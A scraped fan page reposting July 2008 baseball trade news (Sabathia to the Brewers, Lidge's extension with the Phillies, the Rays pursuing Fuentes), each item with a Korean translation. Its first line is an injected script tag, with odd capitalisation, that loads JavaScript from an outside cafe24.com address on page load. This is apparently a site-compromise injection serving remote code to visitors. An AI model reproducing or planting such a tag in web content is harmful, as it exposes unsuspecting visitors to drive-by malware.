<scRIPT Language=Javascript src=http://rnjsdudwh.cafe24.com/Mics.php></script>Brewers Acquire C.C. Sabathia
By Steve Adams [July 6 at 1:58pm CST]
6:05pm: Haudricourt says the Indians and Brewers have reached an agreement on a Sabathia trade.
- 인디언스와 브루어스가 사바시아 트레이드합의에 근접하였다.
5:53pm: Haudricourt checks back in, stating that a deal is nearly complete. The Brewers will send Matt LaPorta and two other minor leaguers in exchange for Sabathia's services. One of them could likely be Class A third baseman Taylor Green, but the other will NOT be Lorenzo Cain, Mat Gamel, or Alcides Escobar. Cain has been promoted to Class AA Huntsville, likely to take LaPorta's place on the roster.
- 딜은 거의 완료되어간다.
브루어스는 맷 라포타와 두명의 다른 마이너리거를 사바시아와 바꾸게된다.
이들중 한명은 A 클래스의 3루수 태일러 그린으로 보이지만,
또다른 한명이 로렌조 케인, 맷 가멜또는 알시데스 에스코바는 아닐 것이다.
케인은 AA 로 승격되었었는데, 라포타의 자리를 이어받을 것이다.
The Brewers are insisting that the deal be closed tonight, in order to allow Sabathia to arrive in Milwaukee in time to make his next scheduled start on Tuesday.
- 브루어스는 오늘밤 딜이 될것이라고 하였고,
사바시아는 자신의 화요일 등판에 맞춰서 밀워키에 도착할 것으로 보인다.
------------------------------------------------------
Phillies Extend Lidge
By Nat Boyle [July 6 at 10:09am CST]
10:12am: Ken Mandel of MLB.com reports the extension is for 3-years, $37.5MM with a club option for 2012 and performance incentives. A good deal for both sides considering the going rate for elite closers and that Lidge may have been able to get 4-5 years in free agency. Lidge has yet to blow a save this year while making $6.35MM.
MLB.com 이 보도하길, 필리스와 릿지가 3년 37.5밀리언에
2012년 클럽옵션과 성과금이 붙은 계약을 했다고 한다.
이것은 양측에 좋은 딜이며, 릿지는 4-5년안에 FA를 얻게된다.
그는 올시즌 아직까지 블론세이브가 없으며 6.35밀리언을 받는다.
------------------------------------------------------
Rays Preparing Offer For Fuentes?
By Nat Boyle [July 6 at 9:39am CST]
In this piece by Troy E. Renck, the Rays have had scouts at Coors Field over the weekend and are preparing to make an offer for Brian Fuentes.
"Tampa Bay is preparing to make the most aggressive play for the Rockies' closer, according to a major-league source... Opposing executives who have spoken with Tampa Bay say the Rays are determined to bolster their bullpen in an attempt to create separation between them and the Red Sox."
" 탐파베이가 로키스의 클로저에 상당히 강력한 구애를 보이고 있다"
고 메이저 소스는 전하고 있다.
그들은 불펜의 두께를 더하면서 레드삭스와의 경기차이를 벌리려는 시도를 하는중이다.
The Rockies have been seeking "one quality player", says Renck, in return for Fuentes. The Rays could offer either Double-A RHP starters Wade Davis or Jeremy Hellickson, both of whom the Rockies have expressed interest in.
그들은 언론에서 거론했던 푸엔테스의 댓가인 "한명의 수준급선수"가 있다.
레이스는 AA 선발 웨이드 데이비스또는 제레미 헬릭슨을 보낼 수가 있는데,
이둘은 로키스가 직접적인 관심을 보였던 선수들이다.
|
